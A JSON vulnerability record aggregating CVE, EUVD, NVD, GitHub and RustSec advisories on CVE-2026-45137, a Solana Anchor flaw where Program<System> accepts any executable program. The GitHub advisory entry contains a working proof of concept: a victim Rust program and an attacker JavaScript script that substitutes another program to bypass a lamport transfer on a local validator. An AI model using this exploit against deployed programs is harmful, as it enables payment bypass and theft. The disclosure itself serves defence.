{"id":"EUVD-2026-32665","revision":null,"records":[{"revision":"ffec055a22e64851b27b4915918dd499","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-45137","aliases":[],"title":"Anchor: Program<'info, System> is not properly validated","description":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.  This vulnerability is fixed in 1.0.2.","state":0,"publishedAt":"2026-05-27T20:52:23.381+00:00","modifiedAt":"2026-05-28T13:05:18.637+00:00","affected":[{"ecosystem":"Vendor product","name":"anchor","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"solana-foundation\",\n                    \"product\": \"anchor\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.0.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-45137","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-45137","identifiers":["CVE-2026-45137"]},"retained":false,"historicalAffected":[]},{"revision":"bd0019c584cd4ca98dcecd94d615f7f6","observedAt":"2026-10-28T06:10:43.056+00:00","statement":{"source":"euvd","id":"EUVD-2026-32665","aliases":["CVE-2026-45137","GHSA-c6rc-8jpp-2fgc"],"title":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false a…","description":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.  This vulnerability is fixed in 1.0.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":null}],"references":["https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-32665","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 27, 2026, 8:52:23 PM","dateUpdated":"May 28, 2026, 1:05:18 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-32665","identifiers":["EUVD-2026-32665","CVE-2026-45137","GHSA-c6rc-8jpp-2fgc"]},"retained":false,"historicalAffected":[]},{"revision":"af2263325ac446d488fb527f819bb5dd","observedAt":"2026-10-27T11:12:23.45+00:00","statement":{"source":"nvd","id":"CVE-2026-45137","aliases":[],"title":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false a…","description":"Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.  This vulnerability is fixed in 1.0.2.","state":0,"publishedAt":"2026-05-27T21:16:18.67+00:00","modifiedAt":"2026-10-26T12:10:00.13+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":8.2,"severity":"HIGH"}],"references":["https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45137","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-20"],"productCriteria":["cpe:2.3:a:anchor-lang:anchor:*:*:*:*:*:rust:*:*"],"sourceDates":{"published":"2026-05-27T21:16:18.670","lastModified":"2026-10-26T12:10:00.130"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-45137","identifiers":["CVE-2026-45137"]},"retained":false,"historicalAffected":[]},{"revision":"c4036d900af4405e9195d4e51bea05b9","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"GHSA-c6rc-8jpp-2fgc","aliases":["CVE-2026-45137","RUSTSEC-2026-0144"],"title":"Anchor: Program<'info, System> is not properly validated","description":"### Summary\nAn logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions.\n\n### Details\nIn the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program.\n\nhttps://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163\n\n### PoC\nBuild and deploy the following anchor program:\n```rs\n/// victim.rs\n/// an anchor program that uses the system program in some way.\n\nuse anchor_lang::prelude::*;\nuse anchor_lang::prelude::program::invoke;\nuse anchor_lang::prelude::instruction::Instruction;\n\n#[derive(Accounts)]\npub struct Initialize<'info> {\n    #[account(mut)]\n    pub sender: Signer<'info>,\n    #[account(mut)]\n    pub recipient: SystemAccount<'info>,\n    // the \"System\" part here should ensure that callers can only pass the system program.\n    pub system_program: Program<'info, System>,\n}\n\npub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> {\n    // this should be the system program id, but due to an issue in the validation logic, this could be any program id.\n    msg!(\"System program: {:?}\", ctx.accounts.system_program.key());\n\n    // construct a transfer instruction\n    // note that not only raw instructions, but also any other instruction\n    // builders that properly forward the passed in program id are vulnerable.\n    let mut data = Vec::new();\n    data.extend_from_slice(&[2, 0, 0, 0]);  // transfer discriminator\n    data.extend_from_slice(&amount.to_le_bytes());  // amount\n\n    let accounts = vec![\n        AccountMeta::new(ctx.accounts.sender.key(), true),\n        AccountMeta::new(ctx.accounts.recipient.key(), false),\n    ];\n\n    let ix = Instruction {\n        program_id: ctx.accounts.system_program.key(),\n        accounts,\n        data,\n    };\n\n    let account_infos = [\n        ctx.accounts.sender.to_account_info(),\n        ctx.accounts.recipient.to_account_info(),\n        ctx.accounts.system_program.to_account_info(),\n    ];\n\n    // invoke the transfer instruction\n    invoke(&ix, &account_infos)?;\n\n    Ok(())\n}\n```\n\nRun the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js\n\n```js\n/// attacker.js\n/// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen\n/// while the victim program thinks it has happened.\n\nimport { Connection, Keypair, PublicKey, SystemProgram } from \"@solana/web3.js\";\nimport { AnchorProvider, Program, Wallet } from \"@coral-xyz/anchor\";\nimport BN from \"bn.js\";\nimport fs from \"fs\";\nimport idl from \"./victim_idl.json\" with { type: \"json\" };  // the idl of the victim program, generated by `anchor build`\n\nconst keypair = Keypair.generate();\nconst receiver = Keypair.generate();\n\nconst connection = new Connection(\"http://localhost:8899\", \"confirmed\");\nconst provider = new AnchorProvider(connection, new Wallet(keypair), {});\n\nasync function airdrop(publicKey, amount) {\n    const tx = await connection.requestAirdrop(publicKey, amount);\n    await connection.confirmTransaction(tx);\n    console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`);\n}\n\nasync function printBalance(publicKey) {\n    const balance = await connection.getBalance(publicKey);\n    console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`);\n}\n\nawait airdrop(keypair.publicKey, 1e9);\nawait airdrop(receiver.publicKey, 1e9);\n\nconst program = new Program(idl, provider);\n\nconst tx = await program.methods\n    .initialize(new BN(1e9 / 2))\n    .accounts({\n        sender: keypair.publicKey,\n        recipient: receiver.publicKey,\n        // we pass the compute budget program instead of the system program\n        // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen.\n        // if we comment this out, anchor will pass in the system program and the transfer will succeed\n        systemProgram: new PublicKey(\"ComputeBudget111111111111111111111111111111\"),\n    })\n    .rpc();\n\nconsole.log(\"Transaction signature:\", tx);\nawait connection.confirmTransaction(tx);\n\n// Check balances\nawait printBalance(keypair.publicKey);\nawait printBalance(receiver.publicKey);\n\n/*\n\nexpected balances:\n499995000\n1500000000\n\nactual balances:\n999995000\n1000000000\n\n*/\n```\n\nInspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports.\n\nIf you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred.\n\n### Impact\nThis is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.","state":0,"publishedAt":"2026-05-13T15:31:49+00:00","modifiedAt":"2026-06-09T00:00:17.8579262+00:00","affected":[{"ecosystem":"crates.io","name":"anchor-lang","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/otter-sec/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc","https://github.com/solana-foundation/anchor/security/advisories/GHSA-c6rc-8jpp-2fgc","https://nvd.nist.gov/vuln/detail/CVE-2026-45137","https://github.com/solana-foundation/anchor","https://github.com/solana-foundation/anchor/releases/tag/v1.0.2","https://rustsec.org/advisories/RUSTSEC-2026-0144.html"],"sourceUrl":"https://github.com/advisories/GHSA-c6rc-8jpp-2fgc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c6rc-8jpp-2fgc","identifiers":["GHSA-c6rc-8jpp-2fgc","CVE-2026-45137","RUSTSEC-2026-0144"]},"retained":false,"historicalAffected":[]},{"revision":"35bd9732df084099aed3dd8781ccb6d8","observedAt":"2026-10-24T13:19:54.901+00:00","statement":{"source":"osv","id":"RUSTSEC-2026-0144","aliases":["CVE-2026-45137","GHSA-c6rc-8jpp-2fgc"],"title":"`Program<System>` accepts arbitrary executable programs","description":"Affected versions of `anchor-lang` did not properly validate accounts declared\nas `Program<'info, System>`. The generic `Program<T>` validation path used\n`Pubkey::default()` as a sentinel to decide whether any executable program\nshould be accepted. Since the system program id is also the default pubkey,\n`Program<'info, System>` was treated like the untyped `Program<'info>` case and\naccepted any executable program account.\n\nPrograms commonly rely on `Program<'info, System>` to ensure that CPI calls and\ninstruction builders target the real Solana system program. With the faulty\nvalidation, an attacker could supply another executable program where the system\nprogram was expected, causing downstream logic to make false assumptions about\npayments, account creation, or other system-program CPIs.\n\nThe issue was fixed in `anchor-lang` 1.0.2 by separating the typed\n`Program<T>` validation path from the untyped `Program<()>` path, so\n`Program<'info, System>` now checks the provided account key against the system\nprogram id. Users should upgrade to `anchor-lang` 1.0.2 or later.","state":0,"publishedAt":"2026-05-07T12:00:00+00:00","modifiedAt":"2026-10-12T18:00:13.5597373+00:00","affected":[{"ecosystem":"crates.io","name":"anchor-lang","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.0.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","score":null,"severity":null}],"references":["https://crates.io/crates/anchor-lang","https://rustsec.org/advisories/RUSTSEC-2026-0144.html","https://github.com/solana-foundation/anchor/commit/3eb1fb0427d4fed0e944b627aef76db651a93aab","https://github.com/solana-foundation/anchor/releases/tag/v1.0.2"],"sourceUrl":"https://osv.dev/vulnerability/RUSTSEC-2026-0144","license":"OSV · upstream source license applies","key":"osv:RUSTSEC-2026-0144","identifiers":["RUSTSEC-2026-0144","CVE-2026-45137","GHSA-c6rc-8jpp-2fgc"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-28T13:47:04.3951212+00:00","complete":true,"records":1760,"lastAttemptAt":"2026-10-28T13:47:04.3951212+00:00","lastSuccessAt":"2026-10-28T13:47:04.557439+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.5574402+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d2186f400c54d65f61687f78bb1a00d184d2e215877d0194d7ed70caee809a44-bc345ff86b03b7541c201ac3c0d3b41e3d0da548fe28cbc3ef34545c988f15f3","complete":true,"records":415987,"lastAttemptAt":"2026-10-28T13:47:03.8176723+00:00","lastSuccessAt":"2026-10-28T13:47:03.7732726+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:03.8176723+00:00","snapshotPublishedAt":"2026-10-28T13:26:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9f0807daf5ba430ba544389f9bceda91","complete":false,"records":13410,"lastAttemptAt":"2026-10-28T13:59:21.4481018+00:00","lastSuccessAt":"2026-10-28T13:59:21.444+00:00","error":"38 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-28T13:59:21.444+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":10962,"expectedIdentifiers":13514,"failedIdentifiers":38},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-28T13:47:04.3951212+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-28T13:47:04.3951212+00:00","lastSuccessAt":"2026-10-28T13:47:04.5587387+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.558739+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-db12b589e8274cf2972c4b29de4caf76","complete":true,"records":13449,"lastAttemptAt":"2026-10-28T13:47:32.6579578+00:00","lastSuccessAt":"2026-10-28T13:47:32.655+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:32.655+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13514,"expectedIdentifiers":13514,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-f7cb12508d9e6a348c8a60f772ed85529cc80cd2ff853da1099b57754b20e943","complete":true,"records":9790,"lastAttemptAt":"2026-10-28T13:47:04.183508+00:00","lastSuccessAt":"2026-10-27T21:49:03.9756799+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.183508+00:00","snapshotPublishedAt":"2026-10-27T21:48:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-72e5e79de0026dd0562d40734074a2236a06886643d67182b8381eaee757dbf7","complete":true,"records":1966,"lastAttemptAt":"2026-10-28T13:47:03.9692273+00:00","lastSuccessAt":"2026-10-27T21:46:38.0277323+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:03.9692273+00:00","snapshotPublishedAt":"2026-10-27T21:18:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-9cc0e41ed4e75d0c111bed7fd0bbcd4f139c80cc1fc67f8c3d9a33a41da846ad","complete":true,"records":3002,"lastAttemptAt":"2026-10-28T13:47:04.2866438+00:00","lastSuccessAt":"2026-10-28T10:33:32.3653779+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.2866438+00:00","snapshotPublishedAt":"2026-10-28T09:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-f92980e1a2866a0bbb15861ebe30c8abcc7b7c0ec47586c9330b69d90fe53774","complete":true,"records":230857,"lastAttemptAt":"2026-10-28T13:47:04.0756042+00:00","lastSuccessAt":"2026-10-28T12:29:02.8654193+00:00","error":null,"lastVerifiedAt":"2026-10-28T13:47:04.0756042+00:00","snapshotPublishedAt":"2026-10-28T11:33:00+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}